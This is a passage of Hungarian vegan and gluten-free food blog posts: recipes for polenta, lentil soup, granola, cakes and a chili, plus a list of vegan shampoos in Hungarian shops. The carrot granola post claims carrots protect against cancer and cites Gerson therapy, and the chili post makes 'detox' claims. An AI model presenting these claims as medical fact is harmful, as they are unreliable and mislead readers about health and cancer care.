hogy túl sok leve van, vegyük le róla a fedőt, és minimum lángon főzzük további 5 percig fedő nélkül. (minimumra vegyük vissza a tűzhelyet, mert különben utána lehet konyhát takarítani, hogy eltüntessük a kipöfékelt paradicsomos szószt. ;-) ) Tálaljuk készre főtt barna rizzsel és friss salátával, csírával. dupla babos Chili con veggie (gluténmentes, tojásmentes, laktózmentes, vegán) TÁPLÁLKOZZ, NE CSAK ÉTKEZZ! :-) Megjegyzés1: Természetesen száraz babból is el lehet készíteni az ételt. Ebben az esetben sokkal tovább tart, de még természetesebb lesz. Előző éjszakára áztassuk be a száraz babokat, majd főzzük meg őket külön-külön enyhén sós vízben. Utána pedig készítsük el az ételt a fenti recept szerint. Megjegyzés2: Az aktív bélműködéstől sem kell megijedni a bab szó hallatán. Sokszor hallottam már kifogásnak a rostban gazdag ételekre, hogy inkább nem fogyasztják, mert gázosít. Ezért ne hagyjunk fel a fogyasztásukkal! A rostban gazdag ételek segítenek az emésztésben, aktívabbá teszik a bélműködést, ezáltal hatékonyabb a székletürítés. Ez pedig bármennyire is furán hangzik, jó dolog! A székletünk és a vizeletünk a test méregtelenítésének végeredménye. A hatékony méregtelenítés pedig egészségesebb testhez, tisztább belső szervekhez, több energiához és frissességhez vezet. Az antioxidánsban és rostban gazdag ételek (pl.: hüvelyesek is) rendszeres fogyasztása hozzájárul számos betegség megelőzéséhez és egészségünk megőrzéséhez. Inkább legyen több puki, mint magas vérnyomás, aranyér vagy akár szív és érrendszeri problémák! dupla babos Chili con veggie (gluténmentes, tojásmentes, laktózmentes, vegán)
Polenta krémesen, párolt zöldségekkel
2016. április 6. Élj harmóniában
Polenta párolt zöldségekkelA polenta, nem más mint kukoricadarából készült sűrű, krémesre főzött kása, ami nagyon tápláló. Elsősorban olasz területeken elterjedt, de Magyarországon, vidéken puliszka néven is ismerik. Hozzávalók 4 személyre 15 dkg kukorica dara (kb. 2/3 bögre) só bors 3 ek. vaj ( vagy kókuszzsír vegán változatban) 1 liter víz 4 sárgarépa 1 nagy fej brokkoli 2 ek. ghí só bors Pucold meg a répákat, vágd karikára és a brokkolit szedd rózsáira és mosd meg. Forrald fel a vizet egy nagy edénybe, majd vedd kis lángra és keverd bele a kukoricadarát. Keverd folyamatosan - habverőt is használhatsz az elején, azzal könnyebb csomómentesre eldolgozni a kukoricadarát. Kb. 5 perc után már fakanállal is könnyedén tudod keverni. Addig főzd amíg meg nem fő, szépen elválik majd az edény falától. A végén keverd hozzá a sót, borsot és a 2 evőkanál vajat. Egy serpenyőben tedd oda a ghít, majd add hozzá a répákat és tegyél hozzá egy pici vizet, hogy elkezdjen a répa puhulni, folyamatosan mindig egy pici vizet tehetsz hozzá, ha úgy látod, hogy kezdene telesen elpárologni a víz. Néhány perc után tedd hozzá a brokkolit is és párold együtt amíg megpuhulnak. A végén add hozzá a sót és a borsot. Szedd ki tányérra a polentát és a párolt zöldséget. Meglocsolhatod a polentát olívaolajjal is ha szereted - én mindent meglocsolok olívával:) Vegyszermentes (bio) alapanyagokat használj!
Gluténmentes túrógombóc
2016. április 1. Éltető ételek
Nagyon régen készítettem túrógombócot, talán már több éve is lehet. Túrót is ritkán eszünk, úgy havonta 1-2 alkalommal. Most mégis valami ötlettől vezérelve alkottam meg ezeket a gombócokat. Igazán habkönnyű, gluténmentes, de mégis teljes értékű gabonával készült. Készítsétek el bátran, ha már kap a babánk túrót, akkor a babakonyhában is megállja a helyét. Hozzávalók (2 adag): - 5 dkg kukoricadara - 5 dkg rizsdara (barna rizst törtem pelyhesítővel darává) - 2,5 dl víz - csipet só - 3 datolya - 20 dkg túró - 1 teáskanál bio vaj - fűszerek: vaníliapor, fahéj, narancsolaj - morzsa (helyett): darált dió, kókuszvirágcukor vagy akár összetört kukoricapehelybe is meg lehet forgatni Elkészítése: A vizet a csipet sóval felforraljuk. Beleszórjuk a kétféle darát, és kevergetve 8-10 perc alatt sűrűre főzzük. Igazi izommunka, ne ijedj meg, hogy teljesen gombóccá fog összeállni. Akkor se adj hozzá több vizet!Ezután levesszük a tűzről és hozzákeverjük a túróhoz. Jól dolgozzuk össze, majd belekerülhet a puha vaj is.Vizes kézzel gombócokat formálunk, és kókuszolajon megpirított darált cukros dióba megforgatjuk. Készíthetünk hozzá kesuteszínt is.
Kókuszkrémes vöröslencse krémleves
2016. március 31. Éltető ételek
Nagyon szeretem a vöröslencsét, változatosan el lehet készíteni. Akár leves, főzelék vagy éppen fasírt is készülhet belőle, és a fűszerezés is igen széleskörű lehet. Ma egy egyszerű leves készítettem, amiben olyan sok alapanyag nincs is benne, inkább a fűszerek a mérvadók benne. A végén a kókuszkrém pedig felteszi az i-re a pontot. :) Ha szereted az édeskés és fűszeres ételeket, akkor feltétlenül próbáld ki. A kicsi lányom még repetázott is belőle. Hozzávalók: - 1 nagy sárgarépa - 1 csésze vöröslencse - 1 közepes vöröshagyma - 2-3 gerezd fokhagyma - 1 evőkanál kókuszolaj - pici friss gyömbér (kb. 1 cm-es, ujjnyi vastagságú)1 kávéskanál curry fűszerkeverék - himalája só, chili - fél doboz cocomas kókuszkrém Elkészítése: A kókuszolajon elkezdjük pirítani az apróra vágott hagymát, fokhagymát és a gyömbért.Amikor már illatozik, rádobjuk a kicsi kockára vágott sárgarépát, majd az átmosott vöröslencsét is. Pár perc pirítás után felöntjük vízzel.Fűszerezzük, és 15 perc alatt puhára főzzük.Botmixerezzük, majd öntsük hozzá a kókuszkrémet. Csak apránként, és kóstolgasd.
Fűszeres polenta rozmaringos gombával
2016. március 29. Éltető ételek
Ez a polenta (puliszka) nem más, mint egy kukoricakása, amelyet kedvünk szerint ízesíthetünk. Hozzávalók: - 1 bögre kukoricadara - 2 bögre víz - himalája só, bors Amit beletehetünk: - 2 gerezd fokhagyma - 1 evőkanál vaj vagy kókuszolaj - apró kockára vágott, grillezett kápia paprika - medvehagyma, újhagyma Elkészítése: A felforralt sós vízbe állandó keverés mellett beleöntjük a kukoricadarát. Addig keverjük, amíg elválik az edény falától. (Vigyázz, mert "köpködhet" közben!) A tűzről levett kész masszába belekeverjük a fűszereket, a zöldségeket és a vajat.Jól dolgozzuk össze, és egy tálcára terítsük ki úgy, hogy kb. 1 cm vastag legyen. Hagyjuk teljesen kihűlni. - Szaggassunk ki belőle formákat, vagy csak vágjuk fel egyforma darabokra. - Sütőben, grill fokozaton, vagy serpenyőben pirítsuk meg mindkét oldalát. Rozmaringos gomba: - 30-40 dkg gomba - 1 evőkanál szójaszósz - 2 gerezd fokhagyma - apróra vágott friss rozmaring - himalája só, bors - 1 evőkanál kókuszolaj A gombákat tisztítsuk meg, majd szeleteljük fel. A kisebbek maradhatnak egészben, vagy esetleg ketté vágva.Tegyük egy serpenyőbe, majd keverjük hozzá az olajat és a szójaszószt, reszeljük bele a fokhagymát és adjuk hozzá az apróra vágott friss rozmaringot is. Sózzuk, borsozzuk.Addig süssük, amíg a gomba által kieresztett víz elpárolog, sőt... egy picit le is piríthatjuk.
Vegán panna cotta
A fantáziánk komponálta ízkavalkád tökéletes lezárása egy vacsorának. Hozzávalók: 4 dl kókusztejszín 4 dl rizstej vagy kókusztej 8 dkg nyírfacukor (vagy más cukor) 2 kk agar-agar 1 ek rózsavíz a tetejére: friss gyümölcs vagy gyümölcslekvár A kókuszkrémet és a tejet összeöntjük, 1 deci kivételével...
Vegán samponok a magyar üzletekben és boltokban
2016. március 26. Vegán lettem
Vegán samponok széles választékával találkozhatsz a magyar hipermarketek és drogériák polcain. Összegyűjtöttem őket, hogy még vásárlás előtt informálódhass.
Előző cikkemben azokat a vegán tusfürdőket gyűjtöttem össze neked, melyek a magyar boltokban kaphatóak. Sajnálatosan nem csak a tusfürdőket, hanem egyéb háztartási termékek nagy részét is állatokon tesztelik felesleges szenvedést okozva ezzel. Nincs ez másképpen a samponokkal sem. Olvasd el a PETA által készített alábbi cikket, melyben bemutatják nagy vonalakban, hogy min mennek keresztül ezek az élőlények. Erre a szenvedésre és kínzásra semmi szükség! Válassz vegán és erőszakmentes samponokat!
Amikor erőszakmentes – azaz cruelty free vagy non tested on animals – és vegán samponokat keresel, érdemes megnézni, hogy milyen logó van az adott terméken. Vannak nyuszis logók, melyek az erőszakmentességet jelölik és V alapú vegán szimbólumok, melyek a termék vegán mivoltát jelölik. Az a legbiztosabb, ha olyan terméket választasz, melyen mindkét jelölés megtalálható, így egészen biztos, hogy erőszakmentes és egyben vegán sampont vásárolsz. Az elephant room cikkében olvashatsz ezen jelölésekről bővebben. Alább pedig ABC sorrendben találhatod a Magyarországon fellelhető erőszakmentes és vegán samponokat.
Nő és férfi erőszakmentes/vegán samponok
Alterra vegán samponok
Összetevők: (típustól függően)
Aqua, Lauryl Glucoside, Sodium Coco-Sulfate, Cocamidopropyl Betaine, Lauroyl Sarcosine, Glycerin, Carica Papaya Fruit Extract, Bambusa Arundinacea Stem Extract, Mangifera Indica Extract, Hydroxypropyl Guar Hydroxypropyltrimonium Chloride, Panthenyl Ethyl Ether, Alcohol Denat, Parfum, Limonene, Linalool, Geraniol, Citral i
Típusok:
Papaya és bambusz, Gránátalma és aloe vera, Barack, Mandula, Makadámdió és füge, Koffein, Olíva és lótuszvirág, Natúr
Hol kapod?
Rossmann
Ár:
kb. 700 – 2000 Ft / 250ml
Dermomed argán és keratin erőszakmentes sampon
Összetevők:
Aqua, Sodium Laureth Sulfate, Sodium Chloride, Cocamidopropyl Betaine, Hydrolyzed Keratin, Panthenol, Lauramine Oxide, Polyquaternium-7, Styrene/Acrylates/Acrylonitrile Copolymer, Citric Acid, Tetrasodium EDTA, Benzyl Alcohol, Limonene, Coumarin, Methylchloroisothiazolinone, Methylisothiazolinone
Hol kapod?
DM
Ár:
kb. 1000 Ft / 1000ml
Dr. Organic vegán samponok
Összetevők: (típustól függően)
Aloe Barbadensis Leaf Extract, Water, Sodium Lauroyl Sarcosinate, Sodium Cocoamphoacetate, Cocamidopropyl Betaine, Shea Butteramidopropyltrimonium Chloride, Coco-Glucoside, Glyceryl Oleate, Parfum, Sorbitan Sesquicaprylate, Olea Europaea Leaf Extract, Citrus Medica Limonum Peel Extract, Vitis Vinifera Leaf Extract, Thymus Vulgaris Flower/Leaf Extract, Foeniculum Vulgare Seed Extract, Potassium Sorbate, Ribes Nigrum Seed Oil, Ascorbic Acid, Sodium Hydroxymethylglycinate, Citric Acid, Amyl Cinnamal, Benzyl Salicylate, Geraniol, Hydroxycitronellal, Linalool
Vegán típusok:
Gránátalma, Teafa, Marokkói argán olaj, Olívás, E-vitaminnal, Aloe vera, Szűz kókuszolajjal
Hol kapod?
Müller, DM, Rossmann
Ár:
kb. 2800 Ft / 250ml
Helia-D Regenero erőszakmentes sampon
Összetevők:
Aqua, Sodium laureth sulfate, Helia-D regenero (aqua, alcohol, quercus petraea, agrimonia eupatoria, matricaria chamonilla, calendula officinalis, hypericumperforatum, melissa officinalis, equisetum arvense, rosacanina, urtica diocia, taraxacum officinale, achilleamillefolium, juglans regia, salvia sclarea, sinapis alba, fenoeniculum vulgare, mentha piperita, plantaginisfolium, cichori herba, rosmarinus officinalis, menthacrispa, melilotus officinalis, betula verrucosa, verbenea officinalis, shymphytum officinale, hyssopi herba, lavandula angustifolia), Glycerin, Cocamide DEA, Polysorbate 20, Sodium chloride, Cocamidopropyl betaine, Propylene glycol, Cananga odorata oil, Parfum, Citric acid, Disodium EDTA, Limonene, Sodium hydroxide, Hexylcinnamic aldehyde, Benzyl alcohol, Linalool, Methylchloroisothiazolinone, Methylisothiazolinone
Hol kapod?
Tesco
Ár:
kb. 1400 Ft / 250ml
Intecto Naturals Coconut erőszakmentes sampon
Összetevők: (típustól függően)
Aqua, Sodium Laureth Sulfate, Sodium Chloride, Cocamide DEA, Cocamidopropyl Betaine, Glycerin, Glycol Distearate, Steareth-4, Cocos Nucifera Oil, Polyquaternium-10, Parfum, Sodium Carbonate, Sodium Hydroxide, Sodium Benzoate, Citric Acid
Hol kapod?
DM
Ár:
kb. 1000 Ft / 500ml
Jean & Len Philosophie vegán samponok
Összetevők: (típustól függően)
Aqua, sodium coco-sulfate, coco-glucoside, decyl glucoside, sodium chloride, glycerin, glyceryl oleate, sodium cocoyl glutamate, dicaprylyl ether, citric acid, parfum*, hydrolyzed wheat protein, sodium benzoate, potassium sorbate
Típusok:
Színvédő, Selymes csillogás
Hol kapod?
Müller
Ár:
kb. 1600 Ft / 250ml
Lavera vegán samponok
Összetevők: (illattól függően)
Aqua, Sodium Coco-Sulfate, Lauryl Glucoside, Betaine, Maris Sal / Sea Salt, Aloe Barbadensis Leaf Juice Extract, Rosa Centifolia Flower Extract, Triticum Vulgare Bran Extract, PCA Glyceryl Oleate, Lauroyl Lysine, Sodium Cocoyl Glutamate, Disodium Cocoyl Glutamate, Hydrolyzed Soy Protein, Radish Root Ferment Filtrate, Sodium Phytate, Citric Acid, Alcohol, Parfum, Limonene, Geraniol, Linalool, Citral
Típusok:
Basis sensitive, Color & shine, Mangótejes, Narancstejes, Almás, Tengeri algás, Édesmandula, Men spa, Rózsatejes, Almatejes, Citromtejes
Hol kapod?
Müller
Ár:
kb. 1200-1600 Ft / 250ml
Logona vegán samponok
Összetevők: (illattól függően)
Aqua, Glycerin, Aloe Barbadensis Leaf Juice, Disodium Cocoyl Glutamate, Sodium Cocoyl Glutamate, Glyceryl Oleate, Xanthan Gum, Citric Acid, Sodium PCA, Olea Europaea Oil, Phytic Acid, Limonene, Linalool, Citral, Geraniol, Citronellol, Alcohol Denat, Coco-Glucoside, Verbena Officinalis Extract, PCA Ethyl Cocoyl Arginate, Parfum
Típusok:
Argán olajjal, Aloe vera
Hol kapod?
Müller
Ár:
kb. 1600 Ft / 250ml
Neobio vegán samponok
Összetevők: (típustól függően)
Aqua, Sodium Coco-Sulfate, Lauryl Glucoside, Coco-Glucoside, Inulin, PCA Glyceryl Oleate, Betaine, Citric Acid, Sodium Chloride, Aloe Barbadensis Leaf Juice, Arginine, Caffeine, Glycerin, Potassium Sorbate, Betula Alba Leaf Extract, Phytic Acid, PCA Ethyl Cocoy Arginate, Parfum, Limonene, Linalool
Típusok:
Fehérliliommal és moringával, Gingko és bambusz kivonattal, Borókával és rozmaringgal, Volumen
Hol kapod?
Müller
Ár:
kb. 1500 Ft / 250ml
Original Source vegán tusfürdők, hajra is
Összetevők: (típustól függő)
Aloe barbadensis leaf juice, Aqua, Cocamidopropyl betaine, Sodium cocoamphoacetate, Sodium lauroyl sarcosinate, Caprylyl/Capryl glucoside, Disodium lauryl sulfosuccinate, Coco glucoside, Glyceryl oleate, Lauryl glucoside, Cocos nucifera fruit extract, Carica papaya (papaya) fruit extract, Mangifera indica (mango) fruit extract, Theobroma cacao (cocoa) seed extract, Garcinia mangosteena (mangosteen) fruit extract, Ficus carica (fig) fruit extract, Citrus aurantium dulcis, Citrus aurantium bergamia (bergamot) fruit oil, Citrus limon peel oil, Gamma undecalactone, Maltol, 3-hexenol, Gamma octalactone, Diacetyl natural, Sodium hydroxymethylglycinate, Potassium sorbate, Ascorbic acid, Citric acid, Limonene
Vegán típusok:
Málna és vanília, Teafa és mentol, Lime, Kókusz, Narancsolaj és gyömbér, Levendula, Csokoládé és menta, Menta és teafa, Citrom és teafa, Grapefruit, Kókusz
Hol kapod?
DM, Müller
Ár:
kb. 600 Ft / 250ml
Sante Naturkosmetik vegán samponok
Összetevők: (típustól függően)
Aqua, Coco-Glucoside, Alcohol, Glycerin, Disodium Cocoyl Glutamate, Sodium Cocoyl Glutamate, Glyceryl Oleate, Sodium PCA, Xanthan Gum, Triticum Vulgare Bran Extract, Tilia Cordata Flower Extract, Arginine, Hydrolyzed Silk, Parfum, Phytic Acid, Citric Acid, Citral, Limonene, Linalool, CI 75810
Típusok:
Natúr, Narancs és kókusz, Gingko és oliva, Koffeinnel és akai bogyóval, Sztilvával és kardamommal, Goji és sárgadinnye, Búzakorpával, Rósza, Lávaföld
Hol kapod?
Müller
Ár:
kb. 2500-4000 Ft / 250ml – 1000ml
Speick Men vegán tusfürdő és sampon
Összetevők:
Aqua, Sodium C14-16 Olefin Sulfonate, Cocamidopropyl Betaine, Glycerin, Sucrose Cocoate, C12-13 Alkyl Lactate, Hydrolyzed Wheat Protein, Hydrolyzed Wheat Gluten, Panthenol, Valeriana Celtica Extract, Salvia Officinalis Extract, Parfum, Sodium Sulfate, Sodium Chloride, Sodium Benzoate, Potassium Sorbate, Citric Acid, Alcohol ,Citral, Limonene, Linalool
Hol kapod?
Müller
Ár:
kb. Ft / 250ml
Terra Naturi vegán samponok
Összetevők: (típustól függően)
Aqua, Sodium Coco-Sulfate, Lauryl Glucoside, Glycerin, Betaine, Maris Sal, Hippophae Rhamnoides Fruit Extract, Avena Sativa Straw Extract, Sodium PCA, Hydrolyzed Wheat Protein, Hydrolyzed Corn Protein, Hydrolyzed Soy Protein, Radish Root Ferment Filtrate, Sodium Cocoyl Glutamate, Disodium Cocoyl Glutamate, Zinc PCA, Xylitylglucoside, Anhydroxylitol, Xylitol, Sodium Phytate, Alcohol, Parfum, Limonene
Típusok:
Dúsító, Vitamin és fény, Festett hajra
Hol kapod?
Müller
Ár:
kb. 700 Ft / 250ml
Gyermek erőszakmentes/vegán samponok
Alverde Baby vegán samponok és tusfürdő
Összetevők:
Aqua, Lauryl Glucoside, Glycerin, Parfum, Disodium Cocoyl Glutamate, Sodium Cocoyl Glutamate, Polyglyceryl-10 Laurate, Calendula Officinalis Flower Extract, Prunus Amygdalus Dulcis Oil, Hydrogenated Lecithin, Maris Sal / Sea Salt, Betaine, Sodium PCA, Phytic Acid, Citric Acid
Típusok:
Natúr, Shea vajjal
Hol kapod?
DM
Ár:
kb. 800-2000 Ft / 250ml
Kneipp Naturkind gyermek erőszakmentes sampon és tusfürdő
Összetevők: (típustól függően)
Aqua, Sodium Laureth Sulfate, Cocamidopropyl Betaine, Glycerin, Coco-Glucoside, Sodium Cocoyl Glutamate, Hylocereus Undatus Fruit Extract, Hamamelis Virginiana, Simmondsia Chinensis Seed Oil, Citrus Aurantium Dulcis Peel Oil, Panthenol, Limonene, Eugenol, Citronellol, Sodium Levulinate, Sodium Anisate, Parfum, Glyceryl Oleate, Sodium Chloride, Glycol Distearate, Peg-18 Glyceryl Oleate, Citric Acid, Hydroxypropyl Oxidized Starch PG-Trimonium Chloride, Starch Hydroxypropyltrimonium Chloride, Sodium Phytate, Lactic Acid, Sodium Lactate, Urea, Tocopherol, CI 47005, CI 42051
Típusok:
Sárkányharcos, Tenger hercegnője
Hol kapod?
DM
Ár:
kb. 1000 Ft / 250ml
Logona kids vegán sampon és tusfürdő
Összetevők:
Aqua, Lauryl Glucoside, Glycerin, Parfum, Disodium Cocoyl Glutamate, Sodium Cocoyl Glutamate, Polyglyceryl-10 Laurate, Calendula Officinalis Flower Extract, Prunus Amygdalus Dulcis Oil, Hydrogenated Lecithin, Maris Sal / Sea Salt, Betaine, Sodium PCA, Phytic Acid, Citric Acid
Hol kapod?
Müller
Ár:
kb. 2700 Ft / 250ml
Amennyiben tudsz olyan termékről, mely megfelel a cikkben leírtaknak, de mégsem található meg benne, úgy kérlek írd meg kommentben és kiegészítem. A vegán samponok bejegyzést fél évente tervezem frissíteni az éppen aktuális termékekkel kiegészítve. Utolsó frissítés 2016 március.
Zöldséges lepény - gluténmentesen
2016. március 25. Élj harmóniában
Gluténmentes Zöldséges lepénySzeretek a konyhában kísérletezni és változatosan felhasználni alapanyagokat. A lepényeket, akárcsak a bögrés sütiket nagyon szeretem, mert gyorsan, könnyen elkészíthetőek, nem kell sokat bajlódni a mérlegeléssel. Kevesebb konyhai műveletet kell elvégezni és a mosogatás is egyszerűbb:) Ma vegyesen gluténmentes lisztekkel készítettem egy zöldpaprikás zöldséglepényt. Hozzávalók 1 csomag sütőpor 1 bögre rizsliszt 1 bögre hajdinaliszt 1 bögre quinoaliszt 2 ek. sze zámmag 10 dkg vaj (vagy kókuszzsír) 1 tk. szódabikarbóna 1 ek oregánó (vagy bazsalikom) só bors 1,5 bögre víz 2 zöldpaprika 2 ek. lenmagliszt + 7 ek. víz Vegyszermentes (bio) alapanyagokat használj! A lenmaglisztet keverd el a 7 ek. vízzel és hagyd állni. Az előkészítéshez mosd meg a paprikát és vágd darabokra. A liszteket , sütőport, szódabikarbónát, fűszereket keverd össze egy tálba, majd morzsold el benne a vajat és végül az áztatott lenmaglisztet keverd hozzá. Önts hozzá vizet fokozatosan és keverd jól el.Gyorsan dolgozz, hogy a száraz hozzávalók ne legyenek sokat a nedves hozzávalókkal. A masszát öntsd egy sütőpapírral bélelt, vagy kivajazott, lisztezett tepsibe és helyezd a tetejére a paprika darabokat. Tedd a sütőbe és kb. 180 fokon süsd addig, amíg jól átsül és a paprikák kicsit elkezdenek megpirulni rajta - vigyázz ne égesd meg.(kb. 35 p)
Sárgarépás-narancsos granola
2016. március 22. Éltető ételek
Újabb granola, de most egy szokatlan összetevővel, méghozzá a sárgarépával. Tudjátok mi mindenre jó a sárgarépa? Azon túl, hogy húslevesbe elengedhetetlen és a nyuszik is szeretik. :) Javítja a máj működését, oldja a lerakódásokat, kihajtja a belekből a rossz felszívódásért felelős, rothadást okozó baktériumokat. Hasmenés esetén is gondoljunk a frissen préselt sárgarépalére, vagy főtt répára, amelyet rizzsel társítva fokozhatjuk hatását. Rizsnyákba főzve a gyenge emésztésű csecsemőknek adható. Antioxidáns, béta-karotinban gazdag, védelmet nyújt a rák ellen (Gerson terápia fontos alkotóeleme). Jót tesz a bőrnek, a szemnek, a nyálkahártyának, szabályozza a hormonokat. Szilíciumban gazdag, amely jó hatással van a kötőszövetekre. Mivel az A-vitamin zsírban oldódik, ezért a fogyasztása során társítsunk hozzá egy kevés zsiradékot. Úgyhogy együk minél többször, nyersen, főve, sülve, aszalva... minden formában. Hozzávalók: Száraz összetevő: - 20 dkg nagyszemű zabpehely - 10 dkg dió - 5 dkg mazsola - 1 mokkáskanál fahéj - 1/2 mokkáskanál mézeskalács fűszerkeverék - 1/2 mokkáskanál vaníliapor - csipet himalája só Nedves összetevő: - 10 dkg sárgarépa reszelve (én sajtreszelőn reszeltem le) - 1,2 dl narancslé vagy almalé - 1 evőkanál olvasztott kókuszolaj - 8 dkg méz Elkészítése: Készítsük el külön-külön a száraz és a nedves összetevőket, majd egy laza mozdulattal dolgozzuk össze,Előmelegített sütőbe tolva (120 fok, légkeverés) süssük úgy 40 percig. Időnként keverjük össze.A sütőből kivéve a tepsiben hagyjuk kihűlni, majd egy jól záródó dobozban vagy üvegben tároljuk.
Húsvéti mézes tojás
2016. március 21. Éltető ételek
Karácsonyi mézeskalács húsvétra? Miért is ne. Egy finom, puha tészta tojás formára szaggatva, magokkal díszítve... senki sem fog nemet mondani rá. :) A díszítésbe vonjuk be gyerekeinket, remekül fognak szórakozni. A tésztát tartsuk hűtőben, csak mindig annyit vegyünk ki, amennyit éppen a gyerekek tudnak díszíteni, mert ha nagyon megpuhul a tészta, akkor nehéz lesz vele dolgozni. A recept nagyban hasonlít a mézeskalács receptre, bár egy picit módosítottam rajta. Hozzávalók: - 35 dkg teljes kiőrlésű tönkölyliszt - 15 dkg fehér tönkölyliszt - 1 evőkanál szódabikarbóna - 10 dkg bio vaj - 1,5 dl Cserpes tejszín - 15 dkg méz - 5 dkg kókuszvirágcukor - 2 kávéskanál fahéj - 1 kávéskanál vaníliapor - 10 csepp narancsolaj Tetejére: magok, puffasztott amarant, aszalványok Elkészítése: A puha vajat a mézzel keverjük jól össze, majd adjuk hozzá a fűszereket. Öntsük hozzá a tejszínt, és pár mozdulattal lazítsunk rajta habverővel.Adjuk hozzá a szódabikarbónás lisztet, jól dolgozzuk össze. Legalább 1 éjszakára tegyük a hűtőbe. Másnap vágjuk három felé (hogy ne puhuljon meg a tészta olyan hamar), majd belisztezett gyúródeszkán kezdjük el vékonyra kinyújtani. Kedvenc kiszúróformánkat használva formázzuk, majd szórjuk meg/díszítsük olajos magokkal, puffasztott amaranttal, aszalványokkal. Egy kicsit nyomkodjuk bele a tésztába.Előmelegített sütőben, kb. 200 fokon, 5-8 perc alatt süssük ki. (Amikor már színeződik az alja, akkor már jó). Hagyjuk a tepsiben kihűlni. Ha sütés előtt lyukat teszünk rá, akkor díszként felakasztható a barkára vagy a lakás már helyére is.Dobozban tartva hetekig eláll. Már ha addig nem esszük meg. :) Ezekkel készítettük a mintákat:
Narancstorta
Piskótát sütni mindenki tud. Összetevői a bűvös hármas: liszt, cukor, tojás... plusz egy nagy csipet só. Ha valaki gluténérzékeny sem kell lemondjon róla. Sütöttem már alternatív lisztekkel, jobbak lettek, mint az eredeti változat. Vannak favorit párosaim: a narancskrémhez máklisztes piskóta, a csokis-mogyorós tortához pedig gesztenyeliszt. A mandulaliszttel sóher vagyok, szoktam picit csalni, fele részben barna rizsliszttel keverem, ettől jobb az ár-érték arány, meg a hangulatom :-) Mint látjuk a lisztet variálni nem különösebb probléma a piskótánál. A cukor alternatíváinak tárgyalásába a karakter hiánya miatt nem mennék bele. Szerintem a cukorpótlásban van rossz, rosszabb és legrosszabb megoldás...nekem a természetesség és mértékletesség, ami bevált. A tojásmentes változata egy piskóta tésztának már keményebb dió. A tojás adja ugyanis a piskóta szivacsos állagát, ezt más úton elérni egyenlő a lehetetlennel. Ha mégis ilyen próbálkozásba kezdünk, akkor fel kell készülnünk rá hogy az így készült piskóta csak nevében lesz az. Nem szükséges rá negatív jelzőket aggatni, más lesz az állaga és ennyi. A sütés idejét belőni a legnehezebb, sajnos nem látunk bele a tésztába, a tűvel való szurkálás nekem nem szokott segíteni, inkább elbizonytalanít, meg a tészta felülete is csupa lyuk lesz. Ha kellően sok energiát teszünk a kísérletezésbe egyik másik receptúrával, érdemes feljegyzetelni a recept mellé a sütési hőmérsékletet és a kiizzadott optimális időt. Ez a recept már kiállta a sütés és az evés próbáját, többször is! A sütemény glutén-, tojás- és laktózmentes lesz, így az együtt egy asztalnál helyet foglalók közül már csak az nem tud belőle enni, aki dióra, mandulára, kesudióra, narancsra, nádcukorra és az összes többi hozzávaló valamelyikére allergiás. Narancsos piskóta tészta: - 1 csésze barna rizsliszt - 1/2 csésze mandulaliszt - 1 ek. kukoricakeményítő ( elhagyható) - 1/2 csésze barna nádcukor - 1/2 tk. szódabikarbóna - 1/4 tk. sütőpor - 1 tk. vanília por - nagy csipet só - 1 csésze frissen csavart narancslé ( rostjai is mehetnek bele ), ez kb. három narancsból nyerhető ki - 2 ek. kókuszolaj - 1 tk. almaecet ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Tegyük egy tálba a száraz összetevőket, egy kisebb másikba pedig a nedveseket. Külön-külön keverjük őket át alaposan, majd a folyékony részt több részletbe adagolva vegyítsük a szárazzal. Egy nokedli tésztánál kicsit folyósabb állagú masszát kell kapjunk, amit egy 18 cm átmérőjű kapcsos tortaformába simítunk. Amennyiben nagyobb tortát szeretnénk sütni, akkor az összetevők mennyiségét arányosan növeljük. Sütési idő 30-35 perc 175 fokon. Kesudió krém: - 1 csésze kesudió - 1/4 csésze kókuszolaj - 2-3 ek. folyékony édesítés ( méz vagy vegán alternatívái: rizsszirup, agavé, juharszirup ) - 1 tk. vanília por - 1/2 csésze narancslé ----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- A hozzávalókat tegyük bele egy nagy teljesítményű tölcséres turmixba és addig járassuk, míg egy krémes állagú sima masszát nem kapunk. Ha folyadékra lenne még szükségünk, akkor adhatunk hozzá több narancslevet. Mielőtt a tortára kenjük, tegyük be a hűtőbe fél órára, hogy a kókuszolaj visszadermedjen. Narancslekvár: - 3-4 narancs filézve + a leve kifacsarva - ízlés szerint barna nádcukor - 1 citrom leve - 1 tk. pektin ( a cukorba keverve ) ---------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- Késsel hámozzuk körbe a narancsokat, hogy a héja alatt lévő fehér kesernyés rész ne kerüljön bele. majd filézzük ki. A maradékból a levet nyomkodjuk ki alaposan, egy csepp se menjen kárba! A cukorba keverjük el a pektint és adjuk hozzá a narancshoz, majd forraljuk fel a lekvárt. Maximum 10 percig főzzük alacsony lángon. Mikor teljesen kihűlt díszítsük vele a tortánk tetejét. Tálaláshoz durvára vágott pirított dió illik hozzá és szárított narancsvirág.
Zöldséges polenta pizza (gluténmentes)
2016. március 19. Élj harmóniában
Zöldsége polenta pizza (gluténmentes)A kukoricadarát sokszor méltatlanul alulbecsülik - jómagam is sokszor hallottam, hogy a kukorica a malacoknak való. Szerencsére a reformtáplálkozás és a gluténmentes diéták a modern konyha alapanyagává tették:) Az ájurvéda, a tulajdonságai alapján elsődlegesen kapha típusú embereknek javasolja a fogyasztását. A polenta nem más, mint kukoricadarából készült kása. Mediterrán területeken gyakran fogyasztják, kásának, vagy kisütve. Ez a polenta pizza nagyon ízletes és gluténérzékenyek is nyugodtan fogyaszthatják. Hozzávalók 15 dkg kukoricadara 1 liter víz só 4 dkg apróra vágott szárított aszalt paradicsom 1 cukkini 1 paprika 1 ek. szárított oregánó (vagy bazsalikom ízlés függvénye) 3 ek. vaj (vagy kókuszzsír vegán változatban) bors a tetejére nem vegán változatban: 250 g mozarella Vegyszermentes (bio) alapanyagokat használj! A zöldségeket mosd meg és vágd apróra. Forrald fel a vizet a sóval, majd tedd takarékra és keverd hozzá a kukoricadarát. Érdemes az első 5 percben habverővel keverni és utána fakanállal. Addig főzd, amíg elválik az edény falától. Ha elkészült keverd bele a 3 evőkanál vajat, paprikát, cukkinit, aszalt paradicsomot, oregánót és borsozd meg. A masszát öntsd egy tortaformába és hagyd kihűlni, hogy megszilárduljon. Majd helyezd a tortaformát 200 fokra előmelegített sütőbe és süsd 10 percig. Majd ha sajttal szeretnéd fogyasztani szeld rá a sajtot és tedd vissza a sütőbe. Addig süsd, amíg a sajt szép aranybarna nem 